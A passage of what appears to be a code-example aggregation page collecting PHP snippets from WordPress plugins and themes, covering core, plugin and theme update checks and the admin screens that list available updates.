         $warnings[] = sprintf('%1$s <a href="%3$s" class="et_builder_modal_action_button" target="_blank">%2$s</a>', esc_html__('You are using an outdated version of WordPress. Please upgrade.', 'et_builder'), esc_html__('Upgrade WordPress', 'et_builder'), esc_url(admin_url('update-core.php')));
     }
     // Memory check
     global $et_current_memory_limit;
     if (!empty($et_current_memory_limit) && intval($et_current_memory_limit) < 128) {
         $class = ' et_builder_increase_memory';
         if (true === strpos(ini_get('disable_functions'), 'ini_set')) {
             $class = '';
         }
         $warnings[] = sprintf('%1$s. <a href="http://codex.wordpress.org/Editing_wp-config.php#Increasing_memory_allocated_to_PHP" class="et_builder_modal_action_button%3$s" target="_blank">%2$s</a>', esc_html__('Please increase your PHP Memory Limit to 128M. You can return the value to default via the Divi Theme Options in the future', 'et_builder'), esc_html__('Increase Your Memory Limit Now', 'et_builder'), esc_attr($class));
     }
     // Version check
     $et_update_themes = get_site_transient('et_update_themes');
     if (is_object($et_update_themes) && isset($et_update_themes->response)) {
         $theme_info = wp_get_theme();
         if (is_child_theme()) {
             $theme_info = wp_get_theme($theme_info->parent_theme);
         }
         $name = $theme_info->get('Name');
         $version = $theme_info->get('Version');
         if (isset($et_update_themes->response[$name]) && isset($et_update_themes->response[$name]['new_version']) && version_compare($version, $et_update_themes->response[$name]['new_version'], '<')) {
             $warnings[] = sprintf('%1$s <a href="%3$s" class="et_builder_modal_action_button" target="_blank">%2$s</a>', sprintf(esc_html__('You are using an outdated version of the theme. The latest version is %1$s', 'et_builder'), esc_html($et_update_themes->response[$name]['new_version'])), esc_html__('Upgrade', 'et_builder'), esc_url(admin_url('themes.php')));
         }
     }
     if (empty($warnings)) {
         return false;
     }
     return $warnings;
 }
示例#15
0
    function upgrade_screen()
    {
        $html = ob_get_clean();
        if (!$this->check_user_permission() && !$this->can_update_core()) {
            $html = preg_replace('~<form[^>]*?>~', '<!--form opening tag removed by BusinessPres-->', $html);
            $html = str_replace('</form>', '<!--form closing tag removed by BusinessPres-->', $html);
        }
        if (!$this->check_user_permission() && (empty($this->aOptions['cap_update']) || !$this->aOptions['cap_update'])) {
            $html = preg_replace('~<input[^>]*?type=["\']checkbox["\'][^>]*?>~', '', $html);
            $html = preg_replace('~<thead[\\s\\S]*?</thead>~', '', $html);
            $html = preg_replace('~<tfoot[\\s\\S]*?</tfoot>~', '', $html);
            $html = preg_replace('~<input[^>]*?upgrade-plugins[^>]*?>~', '', $html);
            $html = preg_replace('~<input[^>]*?upgrade-themes[^>]*?>~', '', $html);
        }
        global $wp_version;
        $new_html = '';
        if (!$this->check_user_permission() && !$this->can_update_core()) {
            $new_html .= "<div class='error'><p>" . $this->talk_no_permissions('upgrade WordPress core') . "</p></div>";
        }
        $new_html .= "<h4>WordPress " . $wp_version . " installed<br />";
        global $wp_version;
        $sStatus = false;
        $iTTL = 0;
        $aVersions = $this->cache_core_version_info();
        if ($aVersions && isset($aVersions['data']) && count($aVersions['data']) > 0) {
            if ($this->get_version_branch() && isset($aVersions['data'][$this->get_version_branch()])) {
                $iDate = strtotime($aVersions['data'][$this->get_version_branch()]);
                $iTTL = $iDate + 3600 * 24 * 30 * 30;
                //  the current version is good has time to live set to 30 months
                if ($iTTL - time() < 0) {
                    $sStatus = "Not Secure - Major Upgrade Required";
                } else {
                    if ($iTTL - time() < 3600 * 24 * 30 * 3) {
                        //  if the current version is older than 23 monts, warn the user
                        $sStatus = "Update Recommended Soon";
                    } else {
                        $sStatus = "Secure";
                    }
                }
            }
            if ($this->get_branch_latest() != $wp_version && strtotime($aVersions['data'][$this->get_branch_latest()]) + 3600 * 24 * 5 < time()) {
                $sStatus = "Not Secure - Minor Upgrade Required";
            }
        }
        $new_html .= "Last updated: " . date('j F Y', strtotime($aVersions['data'][$this->get_branch_latest()])) . "<br />";
        $new_html .= "Status: " . $sStatus . "<br />";
        $iRemaining = floor(($iTTL - time()) / (3600 * 24) / 30);
        if ($iRemaining > 0) {
            $new_html .= "Projected security updates: " . $iRemaining . " months.";
        } else {
            $new_html .= "Projected security updates: Negative " . abs($iRemaining) . " months. Expired or expiration imminent.";
        }
        $new_html .= "</h4>\n";
        if (!class_exists('Core_Upgrader')) {
            include_once ABSPATH . '/wp-admin/includes/admin.php';
            include_once ABSPATH . '/wp-admin/includes/class-wp-upgrader.php';
        }
        if (class_exists('Core_Upgrader')) {
            $new_html .= "<p>Core auto-updates status: ";
            $bDisabled = false;
            if (class_exists('Core_Upgrader')) {
                $objUpdater = new WP_Automatic_Updater();
                if ($objUpdater->is_disabled()) {
                    $new_html .= "disabled";
                    $bDisabled = true;
                }
            }
            if (!$bDisabled) {
                if (Core_Upgrader::should_update_to_version('100.1.2.3')) {
                    $new_html .= "<strong>Major version updates enabled</strong>";
                } else {
                    if (Core_Upgrader::should_update_to_version(get_bloginfo('version') . '.0.1')) {
                        $new_html .= "only Minor version updates enabled";
                    }
                }
            }
            $new_html .= "</p>";
        }
        $aBlockedUpdates = get_site_option('businesspress_core_update_delay');
        $bFound = false;
        if ($aBlockedUpdates) {
            foreach ($aBlockedUpdates as $key => $value) {
                if (stripos($key, '.next.minor') === false) {
                    $bFound = true;
                }
            }
        }
        if ($bFound && $aBlockedUpdates) {
            ksort($aBlockedUpdates);
            $aBlockedUpdates = array_reverse($aBlockedUpdates);
            $new_html .= "<p>Recently blocked updates:</p>";
            $new_html .= "<ul>\n";
            foreach ($aBlockedUpdates as $key => $value) {
                if (stripos($key, '.next.minor') !== false) {
                    $new_html .= "<li>WP core internal autoupdate check " . human_time_diff(time(), $value) . " ago</li>\n";
                    continue;
                }
                $new_html .= "<li><a href='https://codex.wordpress.org/Version_" . $key . "' target='_blank'>" . $key . "</a> " . human_time_diff(time(), $value) . " ago</li>\n";
            }
            $new_html .= "</ul>\n";
            $new_html .= "<p><a href='" . site_url('wp-admin/options-general.php?page=businesspress') . "'>BusinessPress</a> delays these updates 5 days to make sure you are not affected by any bugs in them.</p>";
        } else {
            //$new_html .= "<p>No recent actions, be careful with your upgrades!</p>";
        }
        /*if( stripos($html,'update-core.php?action=do-core-upgrade') !== false ) {
        
              preg_match( '~<input name="version" value="4.5"~', $html, $aVersion );
              $new_html .= "<p>Alternatively you can download 4.4.2 and upload it via FTP.</p><p>While your site is being updated, it will be in maintenance mode. As soon as your updates are complete, your site will return to normal.</p>";
            }*/
        //  this bit if from update-core.php
        ob_start();
        global $wp_version, $required_php_version, $required_mysql_version;
        $aShowed = array();
        if ($this->check_user_permission() || $this->can_update_core()) {
            $aUpdates = get_site_transient('update_core');
            if (!$aUpdates) {
                $aUpdates = get_option('_site_transient_update_core');
            }
            if ($aUpdates && count($aUpdates->updates)) {
                foreach ($aUpdates->updates as $update) {
                    if (stripos($update->version, $this->get_version_branch()) === 0) {
                        if ($update->version == $wp_version) {
                            echo "<strong>You have the latest version of WordPress.</strong>";
                            continue;
                        }
                        if (isset($aShowed[$update->version])) {
                            continue;
                        }
                        $aShowed[$update->version] = true;
                        echo '<ul class="core-updates-businespress">';
                        echo '<strong class="response">';
                        _e('There is a security update of WordPress available.', 'businesspress');
                        echo '</strong>';
                        echo '<li>';
                        $this->list_core_update($update, false);
                        echo '</li>';
                        echo '</ul>';
                    }
                }
            }
        }
        $updates = get_core_updates();
        $bMajorUpdate = false;
        foreach ((array) $updates as $update) {
            if (stripos($update->version, $this->get_version_branch()) === false) {
                $bMajorUpdate = true;
            }
        }
        if (!isset($updates[0]->response) || 'latest' == $updates[0]->response) {
            /*echo '<h2>';
                  _e('You have the latest version of WordPress.');
              
                  if ( wp_http_supports( array( 'ssl' ) ) ) {
                    require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
                    $upgrader = new WP_Automatic_Updater;
                    $future_minor_update = (object) array(
                      'current'       => $wp_version . '.1.next.minor',
                      'version'       => $wp_version . '.1.next.minor',
                      'php_version'   => $required_php_version,
                      'mysql_version' => $required_mysql_version,
                    );
                    $should_auto_update = $upgrader->should_update( 'core', $future_minor_update, ABSPATH );
                    if ( $should_auto_update )
                      echo ' ' . __( 'Future security updates will be applied automatically.' );
                  }
                  echo '</h2>';*/
        } else {
            if ($bMajorUpdate) {
                echo '<strong class="response">';
                _e('There is a core upgrade version of WordPress available.', 'businesspress');
                echo '</strong>';
                if ($this->check_user_permission() || $this->can_update_core()) {
                    echo '<p>';
                    _e('Be very careful before you upgrade: in addition to causing your site to fail to load, core upgrades can corrupt your database or cause plugins important to your business to fail, such as membership and ecommerce solutions. <strong>Please be sure to upgrade all your plugins to their most recent version before a major version upgrade.</strong>', 'businesspress');
                    echo '</p>';
                }
            }
        }
        if (isset($updates[0]) && $updates[0]->response == 'development') {
            /*require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
              $upgrader = new WP_Automatic_Updater;
              if ( wp_http_supports( 'ssl' ) && $upgrader->should_update( 'core', $updates[0], ABSPATH ) ) {
                echo '<div class="updated inline"><p>';
                echo '<strong>' . __( 'BETA TESTERS:' ) . '</strong> ' . __( 'This site is set up to install updates of future beta versions automatically.' );
                echo '</p></div>';
              }*/
        }
        if ($bMajorUpdate && ($this->check_user_permission() || $this->can_update_core())) {
            echo '<ul class="core-updates-businespress">';
            foreach ((array) $updates as $update) {
                if (stripos($update->version, $this->get_version_branch()) === 0) {
                    continue;
                    //  don't show the minor updates here!
                }
                echo '<li>';
                if (!isset($update->response) || 'latest' == $update->response) {
                    list_core_update($update);
                } else {
                    $this->list_core_update($update);
                }
                echo '</li>';
            }
            echo '</ul>';
            // Don't show the maintenance mode notice when we are only showing a single re-install option.
            if ($updates && (count($updates) > 1 || $updates[0]->response != 'latest')) {
                echo '<p>' . __('While your site is being updated, it will be in maintenance mode. As soon as your updates are complete, your site will return to normal.') . '</p>';
            } elseif (!$updates) {
                list($normalized_version) = explode('-', $wp_version);
                echo '<p>' . sprintf(__('<a href="%s">Learn more about WordPress %s</a>.'), esc_url(self_admin_url('about.php')), $normalized_version) . '</p>';
            }
        }
        $new_html .= ob_get_clean();
        if (preg_match('~<h\\d[^>]*?>Plugins</h\\d>~', $html)) {
            $html = preg_replace('~(<div class="wrap">)([\\s\\S]*?)(<h\\d[^>]*?>Plugins</h\\d>)~', '$1' . $new_html . '$3', $html);
        } else {
            $html = preg_replace('~(<div class="wrap">)([\\s\\S]*?)$~', '$1' . $new_html, $html);
        }
        echo $html;
        ?>
    <script>
    jQuery(function($){
      $('form').submit( function(e) {
        var form = $(this);
        
        if( form.find('.check-1').prop('checked') && form.find('.check-2').prop('checked') && form.find('.check-3').prop('checked') ) {

        } else {
          e.preventDefault();
          alert("Please confirm your site is ready for a core upgrade by checking the boxes above.");
        }
        
      });
    });
    </script>
    <?php 
    }
示例#16
0
function list_plugin_updates()
{
    global $wp_version;
    $cur_wp_version = preg_replace('/-.*$/', '', $wp_version);
    require_once ABSPATH . 'wp-admin/includes/plugin-install.php';
    $plugins = get_plugin_updates();
    if (empty($plugins)) {
        echo '<h3>' . __('Plugins') . '</h3>';
        echo '<p>' . __('Your plugins are all up to date.') . '</p>';
        return;
    }
    $form_action = 'update-core.php?action=do-plugin-upgrade';
    $core_updates = get_core_updates();
    if (!isset($core_updates[0]->response) || 'latest' == $core_updates[0]->response || 'development' == $core_updates[0]->response || version_compare($core_updates[0]->current, $cur_wp_version, '=')) {
        $core_update_version = false;
    } else {
        $core_update_version = $core_updates[0]->current;
    }
    ?>
<h3><?php 
    _e('Plugins');
    ?>
</h3>
<p><?php 
    print_r('以下插件有可用更新,请下载您需要升级的插件之后手动升级。');
    /*_e( 'The following plugins have new versions available. Check the ones you want to update and then click &#8220;Update Plugins&#8221;.' );*/
    ?>
</p>
<form method="post" action="<?php 
    echo $form_action;
    ?>
" name="upgrade-plugins" class="upgrade">
<?php 
    wp_nonce_field('upgrade-core');
    ?>
<table class="widefat" cellspacing="0" id="update-plugins-table">
	<thead>
	<tr>
		<th scope="col" class="manage-column check-column"></th>
		<th scope="col" class="manage-column"></th>
	</tr>
	</thead>

	<tfoot>
	<tr>
		<th scope="col" class="manage-column check-column"></th>
		<th scope="col" class="manage-column"></th>
	</tr>
	</tfoot>
	<tbody class="plugins">
<?php 
    foreach ((array) $plugins as $plugin_file => $plugin_data) {
        $info = plugins_api('plugin_information', array('slug' => $plugin_data->update->slug));
        // Get plugin compat for running version of WordPress.
        if (isset($info->tested) && version_compare($info->tested, $cur_wp_version, '>=')) {
            $compat = '<br />' . sprintf(__('Compatibility with WordPress %1$s: 100%% (according to its author)'), $cur_wp_version);
        } elseif (isset($info->compatibility[$cur_wp_version][$plugin_data->update->new_version])) {
            $compat = $info->compatibility[$cur_wp_version][$plugin_data->update->new_version];
            $compat = '<br />' . sprintf(__('Compatibility with WordPress %1$s: %2$d%% (%3$d "works" votes out of %4$d total)'), $cur_wp_version, $compat[0], $compat[2], $compat[1]);
        } else {
            $compat = '<br />' . sprintf(__('Compatibility with WordPress %1$s: Unknown'), $cur_wp_version);
        }
        // Get plugin compat for updated version of WordPress.
        if ($core_update_version) {
            if (isset($info->compatibility[$core_update_version][$plugin_data->update->new_version])) {
                $update_compat = $info->compatibility[$core_update_version][$plugin_data->update->new_version];
                $compat .= '<br />' . sprintf(__('Compatibility with WordPress %1$s: %2$d%% (%3$d "works" votes out of %4$d total)'), $core_update_version, $update_compat[0], $update_compat[2], $update_compat[1]);
            } else {
                $compat .= '<br />' . sprintf(__('Compatibility with WordPress %1$s: Unknown'), $core_update_version);
            }
        }
        // Get the upgrade notice for the new plugin version.
        if (isset($plugin_data->update->upgrade_notice)) {
            $upgrade_notice = '<br />' . strip_tags($plugin_data->update->upgrade_notice);
        } else {
            $upgrade_notice = '';
        }
        $details_url = self_admin_url('plugin-install.php?tab=plugin-information&plugin=' . $plugin_data->update->slug . '&section=changelog&TB_iframe=true&width=640&height=662');
        $details_text = sprintf(__('View version %1$s details'), $plugin_data->update->new_version);
        $details = sprintf('<a href="%1$s" class="thickbox" title="%2$s">%3$s</a>.', esc_url($details_url), esc_attr($plugin_data->Name), $details_text);
        echo "\n\t<tr class='active'>\n\t\t<th scope='row' class='check-column'><a class='button' href='" . $plugin_data->update->package . "' target='_blank' />下载</a></th>\n\t\t<td><p><strong>{$plugin_data->Name}</strong><br />" . sprintf(__('You have version %1$s installed. Update to %2$s.'), $plugin_data->Version, $plugin_data->update->new_version) . ' ' . $details . $compat . $upgrade_notice . "</p></td>\n\t</tr>";
    }
    ?>
	</tbody>
</table>
</form>
<?php 
}
示例#17
0
function wp_get_update_data()
{
    $counts = array('plugins' => 0, 'themes' => 0, 'wordpress' => 0);
    if (current_user_can('update_plugins')) {
        $update_plugins = get_site_transient('update_plugins');
        if (!empty($update_plugins->response)) {
            $counts['plugins'] = count($update_plugins->response);
        }
    }
    if (current_user_can('update_themes')) {
        $update_themes = get_site_transient('update_themes');
        if (!empty($update_themes->response)) {
            $counts['themes'] = count($update_themes->response);
        }
    }
    if (function_exists('get_core_updates') && current_user_can('update_core')) {
        $update_wordpress = get_core_updates(array('dismissed' => false));
        if (!empty($update_wordpress) && !in_array($update_wordpress[0]->response, array('development', 'latest')) && current_user_can('update_core')) {
            $counts['wordpress'] = 1;
        }
    }
    $counts['total'] = $counts['plugins'] + $counts['themes'] + $counts['wordpress'];
    $update_title = array();
    if ($counts['wordpress']) {
        $update_title[] = sprintf(__('%d WordPress Update'), $counts['wordpress']);
    }
    if ($counts['plugins']) {
        $update_title[] = sprintf(_n('%d Plugin Update', '%d Plugin Updates', $counts['plugins']), $counts['plugins']);
    }
    if ($counts['themes']) {
        $update_title[] = sprintf(_n('%d Theme Update', '%d Theme Updates', $counts['themes']), $counts['themes']);
    }
    $update_title = !empty($update_title) ? esc_attr(implode(', ', $update_title)) : '';
    return array('counts' => $counts, 'title' => $update_title);
}
示例#18
0
/**
 *
 * @global string $wp_version
 */
function list_plugin_updates()
{
    global $wp_version;
    $cur_wp_version = preg_replace('/-.*$/', '', $wp_version);
    require_once ABSPATH . 'wp-admin/includes/plugin-install.php';
    $plugins = get_plugin_updates();
    if (empty($plugins)) {
        echo '<h2>' . __('Plugins') . '</h2>';
        echo '<p>' . __('Your plugins are all up to date.') . '</p>';
        return;
    }
    $form_action = 'update-core.php?action=do-plugin-upgrade';
    $core_updates = get_core_updates();
    if (!isset($core_updates[0]->response) || 'latest' == $core_updates[0]->response || 'development' == $core_updates[0]->response || version_compare($core_updates[0]->current, $cur_wp_version, '=')) {
        $core_update_version = false;
    } else {
        $core_update_version = $core_updates[0]->current;
    }
    ?>
<h2><?php 
    _e('Plugins');
    ?>
</h2>
<p><?php 
    _e('The following plugins have new versions available. Check the ones you want to update and then click &#8220;Update Plugins&#8221;.');
    ?>
</p>
<form method="post" action="<?php 
    echo esc_url($form_action);
    ?>
" name="upgrade-plugins" class="upgrade">
<?php 
    wp_nonce_field('upgrade-core');
    ?>
<p><input id="upgrade-plugins" class="button" type="submit" value="<?php 
    esc_attr_e('Update Plugins');
    ?>
" name="upgrade" /></p>
<table class="widefat" id="update-plugins-table">
	<thead>
	<tr>
		<td scope="col" class="manage-column check-column"><input type="checkbox" id="plugins-select-all" /></td>
		<th scope="col" class="manage-column"><label for="plugins-select-all"><?php 
    _e('Select All');
    ?>
</label></th>
	</tr>
	</thead>

	<tbody class="plugins">
<?php 
    foreach ((array) $plugins as $plugin_file => $plugin_data) {
        $info = plugins_api('plugin_information', array('slug' => $plugin_data->update->slug, 'fields' => array('short_description' => false, 'sections' => false, 'requires' => false, 'rating' => false, 'ratings' => false, 'downloaded' => false, 'downloadlink' => false, 'last_updated' => false, 'added' => false, 'tags' => false, 'homepage' => false, 'donate_link' => false)));
        if (is_wp_error($info)) {
            $info = false;
        }
        // Get plugin compat for running version of WordPress.
        if (isset($info->tested) && version_compare($info->tested, $cur_wp_version, '>=')) {
            $compat = '<br />' . sprintf(__('Compatibility with WordPress %1$s: 100%% (according to its author)'), $cur_wp_version);
        } elseif (isset($info->compatibility[$cur_wp_version][$plugin_data->update->new_version])) {
            $compat = $info->compatibility[$cur_wp_version][$plugin_data->update->new_version];
            $compat = '<br />' . sprintf(__('Compatibility with WordPress %1$s: %2$d%% (%3$d "works" votes out of %4$d total)'), $cur_wp_version, $compat[0], $compat[2], $compat[1]);
        } else {
            $compat = '<br />' . sprintf(__('Compatibility with WordPress %1$s: Unknown'), $cur_wp_version);
        }
        // Get plugin compat for updated version of WordPress.
        if ($core_update_version) {
            if (isset($info->tested) && version_compare($info->tested, $core_update_version, '>=')) {
                $compat .= '<br />' . sprintf(__('Compatibility with WordPress %1$s: 100%% (according to its author)'), $core_update_version);
            } elseif (isset($info->compatibility[$core_update_version][$plugin_data->update->new_version])) {
                $update_compat = $info->compatibility[$core_update_version][$plugin_data->update->new_version];
                $compat .= '<br />' . sprintf(__('Compatibility with WordPress %1$s: %2$d%% (%3$d "works" votes out of %4$d total)'), $core_update_version, $update_compat[0], $update_compat[2], $update_compat[1]);
            } else {
                $compat .= '<br />' . sprintf(__('Compatibility with WordPress %1$s: Unknown'), $core_update_version);
            }
        }
        // Get the upgrade notice for the new plugin version.
        if (isset($plugin_data->update->upgrade_notice)) {
            $upgrade_notice = '<br />' . strip_tags($plugin_data->update->upgrade_notice);
        } else {
            $upgrade_notice = '';
        }
        $details_url = self_admin_url('plugin-install.php?tab=plugin-information&plugin=' . $plugin_data->update->slug . '&section=changelog&TB_iframe=true&width=640&height=662');
        $details_text = sprintf(__('View version %1$s details.'), $plugin_data->update->new_version);
        $details = sprintf('<a href="%1$s" class="thickbox" title="%2$s">%3$s</a>', esc_url($details_url), esc_attr($plugin_data->Name), $details_text);
        echo "\n\t<tr>\n\t\t<th scope='row' class='check-column'><input type='checkbox' name='checked[]' value='" . esc_attr($plugin_file) . "' /></th>\n\t\t<td><p><strong>{$plugin_data->Name}</strong><br />" . sprintf(__('You have version %1$s installed. Update to %2$s.'), $plugin_data->Version, $plugin_data->update->new_version) . ' ' . $details . $compat . $upgrade_notice . "</p></td>\n\t</tr>";
    }
    ?>
	</tbody>

	<tfoot>
	<tr>
		<td scope="col" class="manage-column check-column"><input type="checkbox" id="plugins-select-all-2" /></td>
		<th scope="col" class="manage-column"><label for="plugins-select-all-2"><?php 
    _e('Select All');
    ?>
</label></th>
	</tr>
	</tfoot>
</table>
<p><input id="upgrade-plugins-2" class="button" type="submit" value="<?php 
    esc_attr_e('Update Plugins');
    ?>
" name="upgrade" /></p>
</form>
<?php 
}
示例#19
0
function list_plugin_updates()
{
    global $wp_version;
    $cur_wp_version = preg_replace('/-.*$/', '', $wp_version);
    require_once ABSPATH . 'wp-admin/includes/plugin-install.php';
    $plugins = get_plugin_updates();
    if (empty($plugins)) {
        echo '<h3>' . __('Plugins') . '</h3>';
        echo '<p>' . __('Your plugins are all up to date.') . '</p>';
        return;
    }
    $form_action = 'update-core.php?action=do-plugin-upgrade';
    $core_updates = get_core_updates();
    if (!isset($core_updates[0]->response) || 'latest' == $core_updates[0]->response || 'development' == $core_updates[0]->response || version_compare($core_updates[0]->current, $cur_wp_version, '=')) {
        $core_update_version = false;
    } else {
        $core_update_version = $core_updates[0]->current;
    }
    ?>
<h3><?php 
    _e('Plugins');
    ?>
</h3>
<p><?php 
    _e('The following plugins have new versions available. Check the ones you want to update and then click &#8220;Update Plugins&#8221;.');
    ?>
</p>
<form method="post" action="<?php 
    echo $form_action;
    ?>
" name="upgrade-plugins" class="upgrade">
<?php 
    wp_nonce_field('upgrade-core');
    ?>
<p><input id="upgrade-plugins" class="button" type="submit" value="<?php 
    esc_attr_e('Update Plugins');
    ?>
" name="upgrade" /></p>
<table class="widefat" cellspacing="0" id="update-plugins-table">
	<thead>
	<tr>
		<th scope="col" class="manage-column check-column"><input type="checkbox" id="plugins-select-all" /></th>
		<th scope="col" class="manage-column"><label for="plugins-select-all"><?php 
    _e('Select All');
    ?>
</label></th>
	</tr>
	</thead>

	<tfoot>
	<tr>
		<th scope="col" class="manage-column check-column"><input type="checkbox" id="plugins-select-all-2" /></th>
		<th scope="col" class="manage-column"><label for="plugins-select-all-2"><?php 
    _e('Select All');
    ?>
</label></th>
	</tr>
	</tfoot>
	<tbody class="plugins">
<?php 
    foreach ((array) $plugins as $plugin_file => $plugin_data) {
        $info = plugins_api('plugin_information', array('slug' => $plugin_data->update->slug));
        // Get plugin compat for running version of WordPress.
        if (isset($info->tested) && version_compare($info->tested, $cur_wp_version, '>=')) {
            $compat = '<br />' . sprintf(__('Compatibility with WordPress %1$s: 100%% (according to its author)'), $cur_wp_version);
        } elseif (isset($info->compatibility[$cur_wp_version][$plugin_data->update->new_version])) {
            $compat = $info->compatibility[$cur_wp_version][$plugin_data->update->new_version];
            $compat = '<br />' . sprintf(__('Compatibility with WordPress %1$s: %2$d%% (%3$d "works" votes out of %4$d total)'), $cur_wp_version, $compat[0], $compat[2], $compat[1]);
        } else {
            $compat = '<br />' . sprintf(__('Compatibility with WordPress %1$s: Unknown'), $cur_wp_version);
        }
        // Get plugin compat for updated version of WordPress.
        if ($core_update_version) {
            if (isset($info->compatibility[$core_update_version][$plugin_data->update->new_version])) {
                $update_compat = $info->compatibility[$core_update_version][$plugin_data->update->new_version];
                $compat .= '<br />' . sprintf(__('Compatibility with WordPress %1$s: %2$d%% (%3$d "works" votes out of %4$d total)'), $core_update_version, $update_compat[0], $update_compat[2], $update_compat[1]);
            } else {
                $compat .= '<br />' . sprintf(__('Compatibility with WordPress %1$s: Unknown'), $core_update_version);
            }
        }
        // Get the upgrade notice for the new plugin version.
        if (isset($plugin_data->update->upgrade_notice)) {
            $upgrade_notice = '<br />' . strip_tags($plugin_data->update->upgrade_notice);
        } else {
            $upgrade_notice = '';
        }
        echo "\r\n\t<tr class='active'>\r\n\t\t<th scope='row' class='check-column'><input type='checkbox' name='checked[]' value='" . esc_attr($plugin_file) . "' /></th>\r\n\t\t<td class='plugin-title'><strong>{$plugin_data->Name}</strong>" . sprintf(__('You have version %1$s installed. Update to %2$s.'), $plugin_data->Version, $plugin_data->update->new_version) . $compat . $upgrade_notice . "</td>\r\n\t</tr>";
    }
    ?>
	</tbody>
</table>
<p><input id="upgrade-plugins-2" class="button" type="submit" value="<?php 
    esc_attr_e('Update Plugins');
    ?>
" name="upgrade" /></p>
</form>
<?php 
}
示例#20
0
 public function check_notifications()
 {
     global $wp_version;
     $mwp_notifications = get_option('mwp_notifications', true);
     $args = array();
     $updates = array();
     $send = 0;
     if (is_array($mwp_notifications) && $mwp_notifications != false) {
         include_once ABSPATH . 'wp-includes/update.php';
         include_once ABSPATH . '/wp-admin/includes/update.php';
         extract($mwp_notifications);
         //Check wordpress core updates
         if ($wp) {
             @wp_version_check();
             if (function_exists('get_core_updates')) {
                 $wp_updates = get_core_updates();
                 if (!empty($wp_updates)) {
                     $current_transient = $wp_updates[0];
                     if ($current_transient->response == "development" || version_compare($wp_version, $current_transient->current, '<')) {
                         $current_transient->current_version = $wp_version;
                         $updates['core_updates'] = $current_transient;
                     } else {
                         $updates['core_updates'] = array();
                     }
                 } else {
                     $updates['core_updates'] = array();
                 }
             }
         }
         //Check plugin updates
         if ($plugins) {
             @wp_update_plugins();
             $this->get_installer_instance();
             $updates['upgradable_plugins'] = $this->installer_instance->get_upgradable_plugins();
         }
         //Check theme updates
         if ($themes) {
             @wp_update_themes();
             $this->get_installer_instance();
             $updates['upgradable_themes'] = $this->installer_instance->get_upgradable_themes();
         }
         if ($backups) {
             $this->get_backup_instance();
             $backups = $this->backup_instance->get_backup_stats();
             $updates['backups'] = $backups;
             foreach ($backups as $task_name => $backup_results) {
                 foreach ($backup_results as $k => $backup) {
                     if (isset($backups[$task_name][$k]['server']['file_path'])) {
                         unset($backups[$task_name][$k]['server']['file_path']);
                     }
                 }
             }
             $updates['backups'] = $backups;
         }
         if (!empty($updates)) {
             $args['body']['updates'] = $updates;
             $args['body']['notification_key'] = $notification_key;
             $send = 1;
         }
     }
     $alert_data = get_option('mwp_pageview_alerts', true);
     if (is_array($alert_data) && $alert_data['alert']) {
         $pageviews = get_option('user_hit_count');
         $args['body']['alerts']['pageviews'] = $pageviews;
         $args['body']['alerts']['site_id'] = $alert_data['site_id'];
         if (!isset($url)) {
             $url = $alert_data['url'];
         }
         $send = 1;
     }
     if ($send) {
         if (!class_exists('WP_Http')) {
             include_once ABSPATH . WPINC . '/class-http.php';
         }
         $result = wp_remote_post($url, $args);
         if (is_array($result) && $result['body'] == 'mwp_delete_alert') {
             delete_option('mwp_pageview_alerts');
         }
     }
 }
示例#21
0
/**
 * Check whether the WordPress version is outdated or not.
 *
 * @return string Panel with a warning advising that WordPress is outdated.
 */
function sucuriscan_wordpress_outdated()
{
    $site_version = SucuriScan::site_version();
    $updates = get_core_updates();
    $cp = !is_array($updates) || empty($updates) ? 1 : 0;
    $template_variables = array('WordPress.Version' => $site_version, 'WordPress.NewVersion' => '0.0.0', 'WordPress.NewLocale' => 'default', 'WordPress.UpdateURL' => admin_url('update-core.php'), 'WordPress.DownloadURL' => '#', 'WordPress.UpdateVisibility' => 'hidden');
    if (isset($updates[0]) && $updates[0] instanceof stdClass && property_exists($updates[0], 'version') && property_exists($updates[0], 'download')) {
        $template_variables['WordPress.NewVersion'] = $updates[0]->version;
        $template_variables['WordPress.DownloadURL'] = $updates[0]->download;
        if (property_exists($updates[0], 'locale')) {
            $template_variables['WordPress.NewLocale'] = $updates[0]->locale;
        }
        if ($updates[0]->response == 'latest' || $updates[0]->response == 'development' || $updates[0]->version == $site_version) {
            $cp = 1;
        }
    }
    if ($cp == 0) {
        $template_variables['WordPress.UpdateVisibility'] = 'visible';
    }
    return SucuriScanTemplate::get_section('integrity-wpoutdate', $template_variables);
}
 /**
  * Lists a single core update.
  *
  * @global string $wp_version The current WordPress version.
  *
  * @since  4.X.0
  * @access public
  *
  * @param object $update The current core update item.
  */
 protected function _list_core_update($update)
 {
     global $wp_version;
     if ('en_US' == $update->locale && 'en_US' == get_locale()) {
         $version_string = $update->current;
     } elseif ('en_US' == $update->locale && $update->packages->partial && $wp_version == $update->partial_version && ($updates = get_core_updates()) && 1 == count($updates)) {
         $version_string = $update->current;
     } else {
         $version_string = sprintf('%s&ndash;<code>%s</code>', $update->current, $update->locale);
     }
     $current = false;
     if (!isset($update->response) || 'latest' == $update->response) {
         $current = true;
     }
     if ('development' == $update->response) {
         echo '<p>';
         _e('You are using a development version of WordPress. You can update to the latest nightly build automatically.');
         echo '</p>';
     } else {
         if ($current) {
             echo '<p>';
             printf(__('If you need to re-install version %s, you can do so here.'), $version_string);
             echo '</p>';
             echo '<form method="post" action="update-core.php?action=do-core-reinstall" name="upgrade" class="upgrade">';
             wp_nonce_field('upgrade-core');
             echo '<p>';
             echo '<input name="version" value="' . esc_attr($update->current) . '" type="hidden"/>';
             echo '<input name="locale" value="' . esc_attr($update->locale) . '" type="hidden"/>';
             printf('<button type="submit" name="upgrade" id="upgrade" class="button">%s</button>', esc_attr__('Re-install Now'));
             echo '</p>';
             echo '</form>';
         } else {
             echo '<p>';
             printf(__('You can update to <a href="https://codex.wordpress.org/Version_%1$s">WordPress %2$s</a> automatically.'), $update->current, $version_string);
             echo '</p>';
         }
     }
 }
示例#23
0
 function check_version($args, $login_required = TRUE)
 {
     $this->_escape($args);
     $username = $args[0];
     if ($login_required) {
         $password = $args[1];
     }
     $get_default_data = (bool) $args[2];
     if ($login_required && $password != get_option('wpr_cron')) {
         if (!($user = $this->login($username, $password))) {
             return $this->error;
         }
         if (!current_user_can('update_plugins')) {
             return new IXR_Error(401, 'You do not have sufficient permissions to upgrade WordPress on the remote blog.');
         }
     }
     require_once ABSPATH . 'wp-includes/version.php';
     $updates = get_core_updates();
     $update = $updates[0];
     global $wp_version;
     if (!isset($update->response) || 'latest' == $update->response) {
         if (!$get_default_data) {
